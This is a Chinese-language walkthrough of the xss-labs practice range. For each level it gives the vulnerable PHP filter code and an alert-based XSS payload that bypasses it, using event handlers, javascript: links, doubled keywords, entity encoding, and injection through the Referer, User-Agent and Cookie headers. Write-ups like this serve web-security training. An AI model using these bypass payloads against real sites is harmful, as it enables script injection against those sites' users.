xss-labs-master
其他靶场见专栏
文章目录
- xss-labs-master
- level-1
- level-2
- level-3
- level-4
- level-5
- level-6
- level-7
- level-8
- level-9
- level-10
- level-11
- level-12
- level-13
- level-14
- level-15
- level-16
- level-17
- level-18
- level-19
- level-20
level-1
第一关没有进行任何限制,get请求参数直接回显至界面,修改参数值就行。
?name=<script>alert(1)</script>
level-2
第二关页面是一个输入框,输入的值会回显至页面中,所以先试一下**<script>alert(1)</script>**发现页面回显的消息直接就是我们输入的内容,并没有任何作用。
根据上面的图片可以知道我们的尖括号被转义为实体(没看到的话就选中右击选择Edit as HTML),因为源代码中使用了htmlspecialchars($str)。下面的敏感符号也会转义为HTML实体:&号,左右尖括号,单双引号,(这个函数具有三个参数,第一个参数为必选参数,表示待处理的字符串,第二个参数为可选参数,专门针对字符串中的引号操作,默认值:ENT_COMPAT,只转换双引号。ENT_QUOTS,单引号和双引号同时转换。ENT_NOQUOTES,不对引号进行转换。第三个参数为处理字符串的指定字符集)
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
但是input标签中我们输入的值也会显示在那,所以我尝试构造闭合,在input标签实现跨站脚本攻击。
<input name=keyword value="'.$str.'">
首先尝试输入一个引号探针试一下引号有没有被过滤,没有被过滤就使用onfocus焦点事件、onblur竞争焦点事件。
- onfocus焦点事件:
11" onfocus=alert(1)>
- onblur竞争焦点事件:
1" onblur=alert(1)>
以及其他可以改变DOM结构的payload都可以…
level-3
输入<script>alert(1)</script>发现回显的地方尖括号变为HTML实体了,输入双引号尝试在input标签构造闭合,发现双引号被转为HTML实体。查看源代码,发现回显的地方和输入框的value均使用了htmlspecialchars函数。
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center> <input name=keyword value='".htmlspecialchars($str)."'>
它对双引号进行了防御但是没有对单引号进行防御,所以我们可以通过事件标签促发xss攻击,因为**单引号在某些浏览器也可以和双引号构成闭合。**这里使用onfocus鼠标事件,任何其他可以改变DOM结构的是按都可以促发攻击。
- onfocus鼠标事件:
1' onfocus='alert(/xss/)
level-4
这一关还是一个输入框加上一个回显,输入一个探针<script>'",查看input标签发现尖括号被吞了,但是单引号双引号正常存在。查看源代码发现尖括号被替换了:
$str2=str_replace(">","",$str); $str3=str_replace("<","",$str2);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <input name=keyword value="'.$str3.'">
所以直接使用onfocus或者onblue等等,但是不能使用改变DOM结构的标签了。
- onfocus鼠标事件:
1" onfocus="alert(1)
注意点就是需要闭合后面的双引号…
level-5
这一关还是一个输入框和回显,输入<script>‘”探针试一下,发现script被下划线截断了,单双引号尖括号还是正常存在,所以猜测这一关就是对敏感词进行截断的,输入on发现on一样被截断,所以直接使用script和onfocus之类的不行了。查看源代码:
$str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <input name=keyword value="'.$str3.'">
通过代码可知,这一关对<script和on进行截断,并且使用小写转化函数,所以不能使用大小写绕过了。我们可以做到的就是闭合,闭合的话就可以改变DOM结构,但是很多的标签触发条件都是onfocus什么的,这时就可以使用javascript伪协议。
- javascript伪协议:
1"><a href="javascript:alert(1)">xssssss</a>
level-6
输入探针<sCript><script"'Oonn发现script和on被添加下划线,但是大小写绕过的script却没有被添加下划线,同样的单双引号、尖括号也没有被转义。
查看源代码发现好多的标签选项都被过滤了,但是这没有使用小写转换函数,所以直接使用大小写绕过是可以的。
$str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <input name=keyword value="'.$str6.'">
- javascript伪协议:
"><a HREF="javascript:alert(1)">xsssss</a>
- onfocus鼠标事件:
1" Onfocus=alert(1)>
level-7
输入探针<sCript><script"'Oonn发现script和on无论大小写都不见了,单双引号也不见了,但是尖括号还在,所以估计这些内容是被小写转化并且被replace了。
进行replace操作一般会尝试双写绕过,所以输入scrscriptipt发现,这一关仅仅消去了一个script标签,消去之后还会拼接成一个新的script,所以可以进行双写绕过。查看源代码:
$str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <input name=keyword value="'.$str6.'">
- javascript伪协议双写绕过:
1"><a hrhrefef="javascrscriptipt:alert(1)">xssssss</a>
level-8
这一关和前面的就有些不一样了,我们输入的内容会作为a标签的href值,所以我们尝试输入script,发现script被截断了。查看源代码:
$str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6);<input name=keyword value="'.htmlspecialchars($str).'"> echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
由于这是href的值我们可以尝试构造javascript伪协议,script被截断了,所以我们可以尝试将其转化为HTML实体:
javascript => javascript
- 转化为HTML实体:
javascript:alert(1)
level-9
这一道题也是友情链接,他给出的提示是“您的链接不合法?有没有!”输入sCript,发现sCript转化为小写并且被截断,并且使用HTML实体显示的是链接不合法,所以我们要给他一个正确的链接,它认为正确的链接是什么呢?查看源代码:
$str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6);<input name=keyword value="'.htmlspecialchars($str).'">if (false === strpos($str7, 'http://')) {echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; } else {echo '<center><BR><a href="' . $str7 . '">友情链接</a></center>'; }
这一关使用了strpos函数,这个函数的作用是返回指定文本第一次出现的位置,如果没有出现那就返回false,所以我们只需要输入有http://的链接就行了,对于伪协议,我们把它加上,并且把它注释掉就行了,并且要加在后面。
- 转化为HTML实体的伪协议:
javascript:alert(1)//http://
level-10
这一关是值是在URL的参数上,不在输入框上了,意味着鼠标事件没有用了,必须使用尖括号。使用探针sCript<'>"on=On发现,只有尖括号被转化成HTML实体。本来想着将尖括号转化成HTML实体看看行不行,但是发现转化的实体是带有&参数分隔符的。查看源代码发现,有一个被隐藏的form表单,里面有三个参数:
<form id="search"><input name="t_link" value="" type="hidden"><input name="t_history" value="" type="hidden"><input name="t_sort" value="" type="hidden"> </form>
所以在URL中加上这三个参数,发现仅仅第三个input标签变化了,所以猜测第三个标签是在value选项中插入值的。
查看源代码确实如此:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?>
所以我们尝试在t_sort中使用探针,仅仅尖括号被改变了而已,所以我们直接onfocus鼠标事件,注意要将type的值改为text否则无法显示出来,或者F12修改Elements也可。
- onfocus鼠标事件:
?keyword=1&t_link=1&t_history=1&t_sort=1" onfocus="alert(1)" type="text
level-11
这一关还是URL参数的,有了上一关的经验,这次查看源代码,发现多出了一个input标签:
<form id="search"><input name="t_link" value="" type="hidden"><input name="t_history" value="" type="hidden"><input name="t_sort" value="" type="hidden"><input name="t_ref" value="http://192.168.255.128/xss-labs-master/level10.php?keyword=1&t_link=1&t_history=1&t_sort=1%22%20οnmοuseοver=%22alert(1)%22%20type=%22text" type="hidden"> </form>
第四个标签的值很熟悉,这是我上一个链接,所以我猜测这是和referer头有关的,所以抓包!构造闭合!鼠标事件!改type的值!查看源代码确实如此,原来的t_sort不能用了:
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden">
- Refer头:
Referer: 1" onmouseover=alert(1) type="text
level-12
查看源代码发现还是多出来一个input标签,但是它的名字是t_ua,所以猜测这是和User-Agent有关的,查看源代码:
$str11=$_SERVER['HTTP_USER_AGENT']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22);<form id=search><input name="t_link" value="'.'" type="hidden"><input name="t_history" value="'.'" type="hidden"><input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ua" value="'.$str33.'" type="hidden"> </form>
可见这一关对引号和on之类的没有进行过滤,所以我们进行抓包,从User-Agent中实现xss攻击。
User-Agent: 1" onfocus=alert(1) type="text
level-13
这一关和前面一样也是隐藏了一些输入框,对于这一关,隐藏了一个t_cook,所以猜测这是和cookie相关的,分析源代码:
$str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22);<form id=search><input name="t_link" value="'.'" type="hidden"><input name="t_history" value="'.'" type="hidden"><input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_cook" value="'.$str33.'" type="hidden"> </form>
进行抓包,对input使用onfocus鼠标事件:
Cookie: user=1" onfocus=alert(1) type="text
level-14
网上说这一关有点问题
level-15
这一道题没有任何输入框也没与任何回显,查看元素发现底下有一个**<!-- ngInclude: undefined -->**,一开始并不知道这是什么东西,搜了一下,ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点,包含的文件需要包含在同一个域名下。查看了一下源代码,发现这一关是可以接收参数了,因为一开始进去没有参数所以ngInclude才是undefined:
<?php ini_set("display_errors", 0); $str = $_GET["src"]; echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; ?>
因为这里对闭合符号进行处理,所以我想的是传递一个有漏洞的界面,将第一关传上去,注意要加上单引号:
但是如果将<script>alert(1)</script>作为第一关的答案传上去,是没有弹窗的,但是这个script标签会在代码元素中,那就试一下使用a标签,结果可知,主动触发的是可以的。
level-16
这一关正常了,是一个url参数的题,首先输入一下探针吧,<Script '" Oonn>=href,结果是尖括号、空格、script被替换,其中空格和尖括号被替换成HTML实体,script被过滤,大小转化为小写。查看源代码:
$str = strtolower($_GET["keyword"]); $str2=str_replace("script"," ",$str); $str3=str_replace(" "," ",$str2); $str4=str_replace("/"," ",$str3); $str5=str_replace(" "," ",$str4);
没有空格的化可以使用%0a和%ob等代替,script使用不了就用input标签的onfocus:
?keyword=<input%0atype="text"%0aonfocus=alert(1)>
level-17
这一关进去之后会看到一个“该插件不受支持”,查看元素发现有一个**<embed src=“xsf01.swf?=” width=“100%” heigth=“100%”>**,所以猜测这个src是和参数有关的,查看源代码:
<?php ini_set("display_errors", 0); echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?>
果然存在两个参数,我们传递这两个参数的时候,点号会把他们连接起来,尝试使用引号和尖括号发现都被转义了,当我发现src中会截断空格,所以尝试在arg01中添加空格:
?arg01=1 onmouseover&arg02=alert(1)
level-18
这一关和上一关一样的,用一样的方法就可以了…搞不懂了…
level18.php?arg01=1 onmouseover&arg02=alert(1)
level-19
这一关我尝试使用空格截断,发现并不可以所以查看源代码,发现这一关在双引号中进行点号运算,所以空格截断不可取:
<?php ini_set("display_errors", 0); echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>'; ?>
使用单引号尝试能不能和闭合一下,发现单引号仅仅是普通文本,尖括号也是作为普通文本,这样子常规的方法无法下手了。接着我搜索xsf03.swf是什么来的,于是访问一下http://192.168.255.128/xss-labs-master/xsf03.swf,将文件下载下来,要使用专用的FlashPlayer播放器打开,但是使用了也打不开。。。网上搜了一下,弹出了个swf反编译,所以试了一下。得到version未定义,接着传入参数<a href=‘javascript:alert(/xss/)’>xss</a>,但最后结果没有显示,不会做了,逆向的题
level-20
不会做…